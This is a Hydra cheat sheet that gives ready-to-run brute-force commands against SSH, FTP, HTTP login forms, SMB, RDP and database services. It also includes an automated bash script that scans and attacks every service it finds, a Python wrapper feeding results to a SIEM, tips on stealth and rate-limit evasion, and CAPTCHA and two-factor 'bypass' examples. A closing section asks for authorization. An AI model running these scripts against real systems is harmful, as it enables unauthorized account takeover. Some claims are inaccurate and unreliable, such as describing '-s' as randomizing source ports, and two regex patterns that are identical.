Skip to content

Hydra Cheat Sheet

Overview

Hydra is a powerful and versatile network authentication cracking tool designed for penetration testers and security researchers to assess the strength of authentication mechanisms across various network services and protocols. Developed as a parallelized login cracker, Hydra supports an extensive range of protocols including SSH, FTP, HTTP, HTTPS, SMB, RDP, VNC, and many others, making it one of the most comprehensive brute-force attack tools available. The tool's modular architecture allows it to efficiently test multiple authentication vectors simultaneously, significantly reducing the time required for password auditing and security assessments.

The core strength of Hydra lies in its ability to perform highly parallelized attacks against network services, utilizing multiple threads and connections to maximize attack efficiency while maintaining stability and reliability. Unlike many single-threaded brute-force tools, Hydra can launch coordinated attacks across multiple targets and services simultaneously, making it particularly effective for large-scale security assessments and penetration testing engagements. The tool supports both dictionary-based attacks using predefined wordlists and brute-force attacks with custom character sets and patterns, providing flexibility for different testing scenarios and security requirements.

Hydra's extensive protocol support and advanced features make it an essential tool for security professionals conducting comprehensive authentication security assessments. The tool includes sophisticated evasion techniques to bypass rate limiting and intrusion detection systems, customizable attack patterns for specific target environments, and detailed logging capabilities for compliance and reporting requirements. With its active development community and regular updates to support new protocols and attack techniques, Hydra continues to evolve as the industry standard for network authentication testing and password security validation.

Installation

Ubuntu/Debian Installation

Installing Hydra on Ubuntu/Debian systems:

bash
# Update system packages
sudo apt update && sudo apt upgrade -y

# Install Hydra from repositories
sudo apt install -y hydra

# Install additional dependencies for all modules
sudo apt install -y libssl-dev libssh-dev libidn11-dev libpcre3-dev \
    libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
    firebird-dev libmemcached-dev libgpg-error-dev \
    libgcrypt20-dev libgcrypt11-dev

# Verify installation
hydra -h
hydra -U ssh  # Show SSH module help

# Install from source for latest features
cd /tmp
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra

# Configure and compile
./configure
make -j$(nproc)
sudo make install

# Verify source installation
hydra -V

CentOS/RHEL Installation

bash
# Install EPEL repository
sudo yum install -y epel-release

# Install required packages
sudo yum groupinstall -y "Development Tools"
sudo yum install -y openssl-devel libssh-devel mysql-devel \
    postgresql-devel subversion-devel firebird-devel \
    libmemcached-devel gpgme-devel libgcrypt-devel

# Install Hydra from EPEL
sudo yum install -y hydra

# Alternative: Install from source
cd /tmp
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra

./configure
make -j$(nproc)
sudo make install

# Configure firewall
sudo firewall-cmd --permanent --add-port=22/tcp
sudo firewall-cmd --permanent --add-port=21/tcp
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --permanent --add-port=443/tcp
sudo firewall-cmd --reload

macOS Installation

bash
# Install Homebrew (if not already installed)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install dependencies
brew install openssl libssh mysql-client postgresql

# Install Hydra
brew install hydra

# Verify installation
hydra -h

Kali Linux Installation

bash
# Hydra is pre-installed on Kali Linux
# Update to latest version
sudo apt update
sudo apt install -y hydra hydra-gtk

# Install additional wordlists
sudo apt install -y wordlists

# Verify installation
hydra -V

Docker Installation

Running Hydra in Docker:

bash
# Create Dockerfile for Hydra
cat > Dockerfile.hydra << 'EOF'
FROM ubuntu:22.04

# Install dependencies
RUN apt-get update && apt-get install -y \
    hydra \
    wordlists \
    curl \
    wget \
    && rm -rf /var/lib/apt/lists/*

# Create working directory
WORKDIR /data

# Default command
CMD ["hydra", "-h"]
EOF

# Build Docker image
docker build -f Dockerfile.hydra -t hydra .

# Run Hydra in Docker
docker run -it --rm \
    -v $(pwd):/data \
    hydra

# Run specific Hydra command
docker run -it --rm \
    -v $(pwd):/data \
    hydra \
    hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

Basic Usage

SSH Brute Force

SSH authentication attacks:

bash
# Basic SSH brute force with single username
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# SSH brute force with username list
hydra -L userlist.txt -P passwordlist.txt ssh://192.168.1.100

# SSH brute force with specific port
hydra -l root -P passwords.txt ssh://192.168.1.100:2222

# SSH brute force with custom options
hydra -l admin -P passwords.txt -t 4 -V ssh://192.168.1.100

# SSH brute force with timeout settings
hydra -l admin -P passwords.txt -w 30 -W 60 ssh://192.168.1.100

# SSH brute force against multiple targets
hydra -L users.txt -P passwords.txt ssh://192.168.1.100-110

# SSH brute force with output file
hydra -l admin -P passwords.txt -o ssh_results.txt ssh://192.168.1.100

# SSH brute force with resume capability
hydra -l admin -P passwords.txt -R ssh://192.168.1.100

FTP Brute Force

FTP authentication attacks:

bash
# Basic FTP brute force
hydra -l anonymous -P passwords.txt ftp://192.168.1.100

# FTP brute force with username list
hydra -L users.txt -P passwords.txt ftp://192.168.1.100

# FTP brute force with custom port
hydra -l admin -P passwords.txt ftp://192.168.1.100:2121

# FTP brute force with SSL/TLS
hydra -l admin -P passwords.txt ftps://192.168.1.100

# FTP brute force with specific options
hydra -l admin -P passwords.txt -t 10 -f ftp://192.168.1.100

# FTP brute force against multiple targets
hydra -L users.txt -P passwords.txt ftp://192.168.1.0/24

HTTP/HTTPS Authentication

Web authentication attacks:

bash
# HTTP Basic Authentication
hydra -l admin -P passwords.txt http-get://192.168.1.100/admin

# HTTP POST form authentication
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login.php:"username=^USER^&password=^PASS^:Invalid"

# HTTPS form authentication
hydra -l admin -P passwords.txt https-post-form://192.168.1.100/login:"user=^USER^&pass=^PASS^:Login failed"

# HTTP authentication with custom headers
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login:"username=^USER^&password=^PASS^&submit=Login:F=Invalid:H=Cookie: sessionid=123456"

# HTTP authentication with proxy
hydra -l admin -P passwords.txt -x 192.168.1.200:8080 http-post-form://target.com/login:"user=^USER^&pass=^PASS^:Invalid"

# WordPress brute force
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/wp-login.php:"log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username"

# HTTP digest authentication
hydra -l admin -P passwords.txt http-get://192.168.1.100/secure/

# HTTPS with custom user agent
hydra -l admin -P passwords.txt https-post-form://192.168.1.100/login:"username=^USER^&password=^PASS^:Invalid:H=User-Agent: Mozilla/5.0"

SMB/CIFS Attacks

SMB authentication attacks:

bash
# Basic SMB brute force
hydra -l administrator -P passwords.txt smb://192.168.1.100

# SMB brute force with domain
hydra -l "DOMAIN\\administrator" -P passwords.txt smb://192.168.1.100

# SMB brute force with username list
hydra -L users.txt -P passwords.txt smb://192.168.1.100

# SMB brute force against multiple targets
hydra -l admin -P passwords.txt smb://192.168.1.0/24

# SMB brute force with null sessions
hydra -l "" -p "" smb://192.168.1.100

# SMB brute force with specific share
hydra -l admin -P passwords.txt smb://192.168.1.100/share

Database Attacks

Database authentication attacks:

bash
# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.100

# PostgreSQL brute force
hydra -l postgres -P passwords.txt postgres://192.168.1.100

# MSSQL brute force
hydra -l sa -P passwords.txt mssql://192.168.1.100

# Oracle brute force
hydra -l system -P passwords.txt oracle-listener://192.168.1.100

# MongoDB brute force
hydra -l admin -P passwords.txt mongodb://192.168.1.100

# Redis brute force
hydra -l "" -P passwords.txt redis://192.168.1.100

Advanced Features

Multi-Protocol Attacks

Attacking multiple protocols simultaneously:

bash
# Attack multiple services on same target
hydra -L users.txt -P passwords.txt -M targets.txt ssh
hydra -L users.txt -P passwords.txt -M targets.txt ftp
hydra -L users.txt -P passwords.txt -M targets.txt http-get

# Create target list file
cat > targets.txt << 'EOF'
192.168.1.100
192.168.1.101
192.168.1.102
EOF

# Parallel attacks against multiple targets
hydra -L users.txt -P passwords.txt -M targets.txt -t 16 ssh

# Attack multiple protocols with different credentials
hydra -C combo_list.txt -M targets.txt ssh
hydra -C combo_list.txt -M targets.txt ftp

# Create combination list
cat > combo_list.txt << 'EOF'
admin:admin
root:root
administrator:password
guest:guest
user:user
EOF

Custom Attack Patterns

Creating custom attack patterns and wordlists:

bash
# Generate custom wordlist with crunch
crunch 6 8 abcdefghijklmnopqrstuvwxyz0123456789 | hydra -l admin -P - ssh://192.168.1.100

# Use custom character set
hydra -l admin -x 6:8:aA1 ssh://192.168.1.100

# Brute force with pattern
hydra -l admin -x 8:8:aA1@ ssh://192.168.1.100

# Use multiple wordlists
cat wordlist1.txt wordlist2.txt | hydra -l admin -P - ssh://192.168.1.100

# Generate passwords with specific patterns
# Password format: CompanyYYYY (e.g., Company2023)
for year in {2020..2024}; do
    echo "Company$year" >> custom_passwords.txt
    echo "company$year" >> custom_passwords.txt
    echo "COMPANY$year" >> custom_passwords.txt
done

hydra -l admin -P custom_passwords.txt ssh://192.168.1.100

# Season-based passwords
cat > seasonal_passwords.txt << 'EOF'
Spring2023
Summer2023
Autumn2023
Winter2023
Spring2024
Summer2024
EOF

hydra -l admin -P seasonal_passwords.txt ssh://192.168.1.100

Advanced HTTP Attacks

Complex web application attacks:

bash
# Multi-step authentication
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login:"username=^USER^&password=^PASS^&csrf_token=abc123:Invalid login"

# JSON-based authentication
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/api/login:'{"username":"^USER^","password":"^PASS^"}:Invalid:H=Content-Type: application/json'

# Cookie-based authentication
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login:"user=^USER^&pass=^PASS^:Invalid:H=Cookie: PHPSESSID=abc123"

# Custom failure detection
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login:"username=^USER^&password=^PASS^:S=Welcome:F=Invalid"

# Multiple failure conditions
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login:"user=^USER^&pass=^PASS^:F=Invalid username:F=Invalid password:F=Account locked"

# CAPTCHA bypass (when CAPTCHA is static)
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login:"username=^USER^&password=^PASS^&captcha=12345:Invalid"

# Two-factor authentication bypass
hydra -l admin -P passwords.txt http-post-form://192.168.1.100/login:"username=^USER^&password=^PASS^&token=000000:Invalid"

Performance Optimization

Optimizing Hydra performance:

bash
# Increase thread count
hydra -l admin -P passwords.txt -t 64 ssh://192.168.1.100

# Adjust connection timing
hydra -l admin -P passwords.txt -w 10 -W 30 ssh://192.168.1.100

# Use faster protocols first
hydra -l admin -P passwords.txt -t 32 -f telnet://192.168.1.100

# Parallel attacks with task distribution
hydra -l admin -P passwords.txt -t 16 -T 4 ssh://192.168.1.100

# Memory optimization for large wordlists
split -l 10000 huge_wordlist.txt chunk_
for chunk in chunk_*; do
    hydra -l admin -P "$chunk" ssh://192.168.1.100
done

# Resume interrupted attacks
hydra -l admin -P passwords.txt -R ssh://192.168.1.100

# Use restore file
hydra -l admin -P passwords.txt -o results.txt -b txt ssh://192.168.1.100
# If interrupted, resume with:
hydra -R

Automation Scripts

Comprehensive Brute Force Script

bash
#!/bin/bash
# Comprehensive Hydra brute force automation script

# Configuration
TARGET_FILE=""
USERNAME_LIST=""
PASSWORD_LIST=""
OUTPUT_DIR="/tmp/hydra_$(date +%Y%m%d_%H%M%S)"
THREADS="16"
PROTOCOLS=("ssh" "ftp" "telnet" "http-get" "smb")
TIMEOUT="30"

# Create output directory
mkdir -p "$OUTPUT_DIR"

# Logging function
log_message() {
    echo "$(date '+%Y-%m-%d %H:%M:%S') - $1" | tee -a "$OUTPUT_DIR/hydra.log"
}

# Check dependencies
check_dependencies() {
    log_message "Checking dependencies..."
    
    if ! command -v hydra >/dev/null 2>&1; then
        log_message "ERROR: Hydra not found"
        exit 1
    fi
    
    if ! command -v nmap >/dev/null 2>&1; then
        log_message "WARNING: Nmap not found - port scanning disabled"
    fi
    
    log_message "Dependencies check completed"
}

# Port scanning
port_scan() {
    local target="$1"
    
    log_message "Scanning ports on $target..."
    
    if command -v nmap >/dev/null 2>&1; then
        nmap -sS -O -sV --top-ports 1000 "$target" > "$OUTPUT_DIR/nmap_${target//\//_}.txt" 2>/dev/null
        
        # Extract open ports and services
        grep "open" "$OUTPUT_DIR/nmap_${target//\//_}.txt" | while read -r line; do
            port=$(echo "$line" | awk '{print $1}' | cut -d'/' -f1)
            service=$(echo "$line" | awk '{print $3}')
            log_message "Found open port: $port ($service) on $target"
        done
    else
        log_message "Skipping port scan - nmap not available"
    fi
}

# Service detection
detect_services() {
    local target="$1"
    local services=()
    
    log_message "Detecting services on $target..."
    
    # Common service ports
    declare -A service_ports=(
        ["ssh"]="22"
        ["ftp"]="21"
        ["telnet"]="23"
        ["http"]="80"
        ["https"]="443"
        ["smb"]="445"
        ["mysql"]="3306"
        ["postgres"]="5432"
        ["mssql"]="1433"
        ["rdp"]="3389"
        ["vnc"]="5900"
    )
    
    for service in "${!service_ports[@]}"; do
        port="${service_ports[$service]}"
        
        if timeout 5 nc -z "$target" "$port" 2>/dev/null; then
            log_message "Service detected: $service on port $port"
            services+=("$service")
        fi
    done
    
    echo "${services[@]}"
}

# Hydra attack
hydra_attack() {
    local target="$1"
    local service="$2"
    local port="$3"
    
    log_message "Starting Hydra attack: $service on $target:$port"
    
    local output_file="$OUTPUT_DIR/hydra_${target//\//_}_${service}_${port}.txt"
    local target_url=""
    
    # Construct target URL based on service
    case "$service" in
        "ssh"|"ftp"|"telnet"|"mysql"|"postgres"|"mssql")
            target_url="${service}://${target}:${port}"
            ;;
        "http")
            target_url="http-get://${target}:${port}/"
            ;;
        "https")
            target_url="https-get://${target}:${port}/"
            ;;
        "smb")
            target_url="smb://${target}:${port}"
            ;;
        "rdp")
            target_url="rdp://${target}:${port}"
            ;;
        "vnc")
            target_url="vnc://${target}:${port}"
            ;;
        *)
            log_message "Unsupported service: $service"
            return 1
            ;;
    esac
    
    # Execute Hydra attack
    local hydra_cmd="hydra"
    
    if [ -n "$USERNAME_LIST" ]; then
        hydra_cmd="$hydra_cmd -L $USERNAME_LIST"
    else
        hydra_cmd="$hydra_cmd -l admin"
    fi
    
    if [ -n "$PASSWORD_LIST" ]; then
        hydra_cmd="$hydra_cmd -P $PASSWORD_LIST"
    else
        # Use default passwords
        hydra_cmd="$hydra_cmd -p password"
    fi
    
    hydra_cmd="$hydra_cmd -t $THREADS -w $TIMEOUT -o $output_file -f $target_url"
    
    log_message "Executing: $hydra_cmd"
    
    # Run attack with timeout
    timeout 1800 $hydra_cmd 2>&1 | tee -a "$OUTPUT_DIR/hydra.log"
    
    # Check results
    if [ -f "$output_file" ] && [ -s "$output_file" ]; then
        log_message "SUCCESS: Credentials found for $service on $target"
        cat "$output_file" >> "$OUTPUT_DIR/all_credentials.txt"
    else
        log_message "No credentials found for $service on $target"
    fi
}

# Web application specific attacks
web_attack() {
    local target="$1"
    local port="$2"
    
    log_message "Starting web application attacks on $target:$port"
    
    # Common web login paths
    local login_paths=(
        "/admin"
        "/login"
        "/wp-admin"
        "/administrator"
        "/manager/html"
        "/phpmyadmin"
    )
    
    for path in "${login_paths[@]}"; do
        log_message "Testing login path: $path"
        
        local output_file="$OUTPUT_DIR/web_${target//\//_}_${port}_${path//\//_}.txt"
        
        # HTTP Basic Auth
        timeout 300 hydra -L "$USERNAME_LIST" -P "$PASSWORD_LIST" \
            -t "$THREADS" -w "$TIMEOUT" -o "$output_file" \
            "http-get://${target}:${port}${path}" 2>/dev/null
        
        # HTTP POST Form (common patterns)
        local form_patterns=(
            "username=^USER^&password=^PASS^:Invalid"
            "user=^USER^&pass=^PASS^:Invalid"
            "login=^USER^&passwd=^PASS^:Invalid"
            "email=^USER^&password=^PASS^:Invalid"
        )
        
        for pattern in "${form_patterns[@]}"; do
            timeout 300 hydra -L "$USERNAME_LIST" -P "$PASSWORD_LIST" \
                -t "$THREADS" -w "$TIMEOUT" \
                "http-post-form://${target}:${port}${path}:${pattern}" 2>/dev/null
        done
    done
}

# Database specific attacks
database_attack() {
    local target="$1"
    local service="$2"
    local port="$3"
    
    log_message "Starting database attack: $service on $target:$port"
    
    # Database-specific usernames
    local db_users=""
    
    case "$service" in
        "mysql")
            db_users="root,admin,mysql,user,test"
            ;;
        "postgres")
            db_users="postgres,admin,user,test"
            ;;
        "mssql")
            db_users="sa,admin,administrator,user"
            ;;
        "oracle")
            db_users="system,sys,scott,hr,admin"
            ;;
    esac
    
    # Create temporary user list
    local temp_users="$OUTPUT_DIR/temp_db_users.txt"
    echo "$db_users" | tr ',' '\n' > "$temp_users"
    
    # Add users from main list if available
    if [ -n "$USERNAME_LIST" ] && [ -f "$USERNAME_LIST" ]; then
        cat "$USERNAME_LIST" >> "$temp_users"
    fi
    
    # Execute database attack
    local output_file="$OUTPUT_DIR/db_${target//\//_}_${service}_${port}.txt"
    
    timeout 1800 hydra -L "$temp_users" -P "$PASSWORD_LIST" \
        -t "$THREADS" -w "$TIMEOUT" -o "$output_file" \
        "${service}://${target}:${port}" 2>&1 | tee -a "$OUTPUT_DIR/hydra.log"
    
    # Cleanup
    rm -f "$temp_users"
}

# Generate report
generate_report() {
    log_message "Generating attack report..."
    
    local report_file="$OUTPUT_DIR/hydra_report.html"
    
    cat > "$report_file" << EOF
<!DOCTYPE html>
<html>
<head>
    <title>Hydra Brute Force Report</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        .section { margin: 20px 0; padding: 15px; border: 1px solid #ddd; }
        .success { color: green; font-weight: bold; }
        .warning { color: orange; font-weight: bold; }
        .error { color: red; font-weight: bold; }
        table { border-collapse: collapse; width: 100%; }
        th, td { border: 1px solid #ddd; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
        pre { background: #f5f5f5; padding: 10px; overflow-x: auto; }
    </style>
</head>
<body>
    <h1>Hydra Brute Force Attack Report</h1>
    <p>Generated: $(date)</p>
    <p>Target(s): $(cat "$TARGET_FILE" 2>/dev/null || echo "Single target")</p>
    <p>Threads: $THREADS</p>
    <p>Timeout: $TIMEOUT seconds</p>
    
    <div class="section">
        <h2>Executive Summary</h2>
EOF

    # Count results
    local total_targets=0
    local successful_attacks=0
    local total_credentials=0
    
    if [ -f "$TARGET_FILE" ]; then
        total_targets=$(wc -l < "$TARGET_FILE")
    else
        total_targets=1
    fi
    
    if [ -f "$OUTPUT_DIR/all_credentials.txt" ]; then
        total_credentials=$(wc -l < "$OUTPUT_DIR/all_credentials.txt")
        successful_attacks=$(grep -c "login:" "$OUTPUT_DIR/all_credentials.txt" 2>/dev/null || echo "0")
    fi
    
    cat >> "$report_file" << EOF
        <ul>
            <li>Total targets tested: $total_targets</li>
            <li>Successful attacks: $successful_attacks</li>
            <li>Total credentials found: $total_credentials</li>
        </ul>
    </div>
    
    <div class="section">
        <h2>Discovered Credentials</h2>
EOF

    if [ -f "$OUTPUT_DIR/all_credentials.txt" ] && [ -s "$OUTPUT_DIR/all_credentials.txt" ]; then
        echo "        <pre>" >> "$report_file"
        cat "$OUTPUT_DIR/all_credentials.txt" >> "$report_file"
        echo "        </pre>" >> "$report_file"
    else
        echo "        <p>No credentials discovered.</p>" >> "$report_file"
    fi
    
    cat >> "$report_file" << EOF
    </div>
    
    <div class="section">
        <h2>Attack Log</h2>
        <pre>$(tail -n 100 "$OUTPUT_DIR/hydra.log")</pre>
    </div>
</body>
</html>
EOF

    log_message "Report generated: $report_file"
}

# Main execution
main() {
    log_message "Starting Hydra brute force automation"
    
    check_dependencies
    
    # Process targets
    if [ -f "$TARGET_FILE" ]; then
        while read -r target; do
            if [ -n "$target" ]; then
                log_message "Processing target: $target"
                
                # Port scan
                port_scan "$target"
                
                # Service detection
                services=($(detect_services "$target"))
                
                # Attack each detected service
                for service in "${services[@]}"; do
                    case "$service" in
                        "ssh")
                            hydra_attack "$target" "$service" "22"
                            ;;
                        "ftp")
                            hydra_attack "$target" "$service" "21"
                            ;;
                        "telnet")
                            hydra_attack "$target" "$service" "23"
                            ;;
                        "http")
                            hydra_attack "$target" "$service" "80"
                            web_attack "$target" "80"
                            ;;
                        "https")
                            hydra_attack "$target" "$service" "443"
                            web_attack "$target" "443"
                            ;;
                        "smb")
                            hydra_attack "$target" "$service" "445"
                            ;;
                        "mysql")
                            database_attack "$target" "$service" "3306"
                            ;;
                        "postgres")
                            database_attack "$target" "$service" "5432"
                            ;;
                        "mssql")
                            database_attack "$target" "$service" "1433"
                            ;;
                        "rdp")
                            hydra_attack "$target" "$service" "3389"
                            ;;
                        "vnc")
                            hydra_attack "$target" "$service" "5900"
                            ;;
                    esac
                done
            fi
        done < "$TARGET_FILE"
    else
        log_message "No target file specified"
        exit 1
    fi
    
    generate_report
    log_message "Brute force automation completed. Results in: $OUTPUT_DIR"
}

# Parse command line arguments
while [[ $# -gt 0 ]]; do
    case $1 in
        -t|--targets)
            TARGET_FILE="$2"
            shift 2
            ;;
        -u|--usernames)
            USERNAME_LIST="$2"
            shift 2
            ;;
        -p|--passwords)
            PASSWORD_LIST="$2"
            shift 2
            ;;
        -T|--threads)
            THREADS="$2"
            shift 2
            ;;
        -w|--timeout)
            TIMEOUT="$2"
            shift 2
            ;;
        -h|--help)
            echo "Usage: $0 [OPTIONS]"
            echo "Options:"
            echo "  -t, --targets FILE       File containing target IPs/hostnames"
            echo "  -u, --usernames FILE     Username list file"
            echo "  -p, --passwords FILE     Password list file"
            echo "  -T, --threads NUM        Number of threads (default: 16)"
            echo "  -w, --timeout SEC        Connection timeout (default: 30)"
            echo "  -h, --help               Show this help"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            exit 1
            ;;
    esac
done

# Validate required parameters
if [ -z "$TARGET_FILE" ]; then
    echo "Error: Target file is required (-t option)"
    exit 1
fi

if [ -z "$PASSWORD_LIST" ]; then
    echo "Warning: No password list specified, using default passwords"
fi

# Run main function
main

Integration Examples

SIEM Integration

python
#!/usr/bin/env python3
# Hydra SIEM integration and monitoring

import subprocess
import json
import time
import re
import logging
from datetime import datetime
import requests

class HydraSIEMIntegration:
    def __init__(self, config):
        self.config = config
        self.setup_logging()
        
    def setup_logging(self):
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler('/var/log/hydra_siem.log'),
                logging.StreamHandler()
            ]
        )
        self.logger = logging.getLogger(__name__)
    
    def parse_hydra_output(self, output):
        """Parse Hydra output for credentials and events"""
        events = []
        
        # Pattern for successful login
        login_pattern = r'\[(\d+)\]\[([^\]]+)\] host: ([^\s]+)\s+login: ([^\s]+)\s+password: ([^\s]+)'
        
        # Pattern for attempt
        attempt_pattern = r'\[(\d+)\]\[([^\]]+)\] host: ([^\s]+)\s+login: ([^\s]+)\s+password: ([^\s]+)'
        
        # Pattern for errors
        error_pattern = r'\[ERROR\] (.+)'
        
        for line in output.split('\n'):
            # Successful login
            login_match = re.search(login_pattern, line)
            if login_match:
                events.append({
                    'timestamp': datetime.now().isoformat(),
                    'event_type': 'successful_login',
                    'severity': 'high',
                    'thread_id': login_match.group(1),
                    'protocol': login_match.group(2),
                    'target': login_match.group(3),
                    'username': login_match.group(4),
                    'password': login_match.group(5),
                    'source': 'hydra'
                })
            
            # Failed attempt
            elif 'login attempt' in line.lower():
                events.append({
                    'timestamp': datetime.now().isoformat(),
                    'event_type': 'failed_login_attempt',
                    'severity': 'medium',
                    'message': line.strip(),
                    'source': 'hydra'
                })
            
            # Error
            error_match = re.search(error_pattern, line)
            if error_match:
                events.append({
                    'timestamp': datetime.now().isoformat(),
                    'event_type': 'hydra_error',
                    'severity': 'low',
                    'message': error_match.group(1),
                    'source': 'hydra'
                })
        
        return events
    
    def run_hydra_attack(self, target, protocol, username_list, password_list):
        """Execute Hydra attack and capture output"""
        cmd = [
            'hydra',
            '-L', username_list,
            '-P', password_list,
            '-t', '16',
            '-w', '30',
            '-v',
            f'{protocol}://{target}'
        ]
        
        try:
            self.logger.info(f"Starting Hydra attack: {' '.join(cmd)}")
            
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=3600  # 1 hour timeout
            )
            
            return result.stdout + result.stderr
            
        except subprocess.TimeoutExpired:
            self.logger.error("Hydra attack timed out")
            return ""
        except Exception as e:
            self.logger.error(f"Error running Hydra: {e}")
            return ""
    
    def send_to_splunk(self, events):
        """Send events to Splunk via HEC"""
        if not self.config.get('splunk', {}).get('enabled', False):
            return
        
        splunk_config = self.config['splunk']
        
        for event in events:
            splunk_event = {
                'time': event['timestamp'],
                'source': 'hydra',
                'sourcetype': 'hydra:attack',
                'index': splunk_config.get('index', 'security'),
                'event': event
            }
            
            try:
                response = requests.post(
                    splunk_config['hec_url'],
                    headers={
                        'Authorization': f"Splunk {splunk_config['token']}",
                        'Content-Type': 'application/json'
                    },
                    json=splunk_event,
                    verify=False,
                    timeout=10
                )
                
                if response.status_code != 200:
                    self.logger.error(f"Failed to send to Splunk: {response.status_code}")
                    
            except Exception as e:
                self.logger.error(f"Error sending to Splunk: {e}")
    
    def send_to_elasticsearch(self, events):
        """Send events to Elasticsearch"""
        if not self.config.get('elasticsearch', {}).get('enabled', False):
            return
        
        es_config = self.config['elasticsearch']
        
        for event in events:
            index_name = f"hydra-{datetime.now().strftime('%Y.%m.%d')}"
            
            try:
                response = requests.post(
                    f"{es_config['url']}/{index_name}/_doc",
                    json=event,
                    timeout=10
                )
                
                if response.status_code not in [200, 201]:
                    self.logger.error(f"Failed to send to Elasticsearch: {response.status_code}")
                    
            except Exception as e:
                self.logger.error(f"Error sending to Elasticsearch: {e}")
    
    def generate_alerts(self, events):
        """Generate alerts based on events"""
        alerts = []
        
        # Alert on successful logins
        successful_logins = [e for e in events if e['event_type'] == 'successful_login']
        if successful_logins:
            alerts.append({
                'alert_type': 'credentials_compromised',
                'severity': 'critical',
                'description': f"Hydra discovered {len(successful_logins)} valid credentials",
                'credentials': successful_logins,
                'timestamp': datetime.now().isoformat()
            })
        
        # Alert on high number of attempts
        failed_attempts = [e for e in events if e['event_type'] == 'failed_login_attempt']
        if len(failed_attempts) > 1000:
            alerts.append({
                'alert_type': 'high_volume_brute_force',
                'severity': 'high',
                'description': f"High volume brute force attack detected: {len(failed_attempts)} attempts",
                'attempt_count': len(failed_attempts),
                'timestamp': datetime.now().isoformat()
            })
        
        return alerts
    
    def process_attack_results(self, target, protocol, output):
        """Process Hydra attack results and send to SIEM"""
        self.logger.info(f"Processing Hydra results for {protocol}://{target}")
        
        events = self.parse_hydra_output(output)
        
        if not events:
            self.logger.info("No events to process")
            return
        
        self.logger.info(f"Processing {len(events)} events")
        
        # Send to SIEM systems
        self.send_to_splunk(events)
        self.send_to_elasticsearch(events)
        
        # Generate and send alerts
        alerts = self.generate_alerts(events)
        if alerts:
            self.logger.info(f"Generated {len(alerts)} alerts")
            for alert in alerts:
                self.send_alert(alert)
    
    def send_alert(self, alert):
        """Send alert notification"""
        self.logger.warning(f"ALERT: {alert['description']}")
        
        # Send email if configured
        if self.config.get('email', {}).get('enabled', False):
            self.send_email_alert(alert)
    
    def send_email_alert(self, alert):
        """Send email alert"""
        # Implementation depends on email configuration
        pass

# Configuration
config = {
    'splunk': {
        'enabled': True,
        'hec_url': 'https://splunk.company.com:8088/services/collector/event',
        'token': 'your-hec-token',
        'index': 'security'
    },
    'elasticsearch': {
        'enabled': True,
        'url': 'http://elasticsearch.company.com:9200'
    },
    'email': {
        'enabled': False,
        'smtp_server': 'smtp.company.com',
        'from': 'security@company.com',
        'to': 'soc@company.com'
    }
}

# Usage
if __name__ == "__main__":
    import sys
    
    if len(sys.argv) != 5:
        print("Usage: python3 hydra_siem.py <target> <protocol> <userlist> <passlist>")
        sys.exit(1)
    
    target = sys.argv[1]
    protocol = sys.argv[2]
    username_list = sys.argv[3]
    password_list = sys.argv[4]
    
    integration = HydraSIEMIntegration(config)
    output = integration.run_hydra_attack(target, protocol, username_list, password_list)
    integration.process_attack_results(target, protocol, output)

Troubleshooting

Common Issues

Connection Timeouts:

bash
# Increase timeout values
hydra -l admin -P passwords.txt -w 60 -W 120 ssh://192.168.1.100

# Reduce thread count
hydra -l admin -P passwords.txt -t 4 ssh://192.168.1.100

# Test connectivity first
nc -zv 192.168.1.100 22

Rate Limiting:

bash
# Add delays between attempts
hydra -l admin -P passwords.txt -w 30 ssh://192.168.1.100

# Use fewer threads
hydra -l admin -P passwords.txt -t 1 ssh://192.168.1.100

# Randomize source ports
hydra -l admin -P passwords.txt -s 1024-65535 ssh://192.168.1.100

SSL/TLS Issues:

bash
# Disable SSL verification
hydra -l admin -P passwords.txt https-get://192.168.1.100 -S

# Use specific SSL version
hydra -l admin -P passwords.txt -m "SSL3" https-get://192.168.1.100

Performance Optimization

Optimizing Hydra performance:

bash
# Optimize for speed
hydra -l admin -P passwords.txt -t 64 -T 4 ssh://192.168.1.100

# Optimize for stealth
hydra -l admin -P passwords.txt -t 1 -w 60 ssh://192.168.1.100

# Use faster protocols
hydra -l admin -P passwords.txt telnet://192.168.1.100  # Faster than SSH

# Parallel attacks
hydra -L users.txt -P passwords.txt -M targets.txt ssh

Security Considerations

Ethical Usage

Legal Considerations:

  • Only use Hydra against systems you own or have explicit permission to test
  • Understand local laws regarding brute force attacks and penetration testing
  • Obtain proper authorization before conducting security assessments
  • Document all testing activities for compliance purposes
  • Respect rate limiting and avoid causing service disruption

Operational Security:

  • Use Hydra in isolated test environments when possible
  • Implement proper access controls for credential lists and results
  • Secure storage and transmission of discovered credentials
  • Regular updates of Hydra and wordlists
  • Monitor for detection by intrusion detection systems

Data Protection

Credential Security:

  • Encrypt discovered credentials immediately
  • Implement secure deletion of temporary files
  • Use secure channels for credential transmission
  • Implement data retention policies for test results
  • Regular security assessments of testing infrastructure

References

  1. Hydra Official Repository
  2. THC-Hydra Documentation
  3. Password Attack Methodologies
  4. Network Authentication Security
  5. Penetration Testing Execution Standard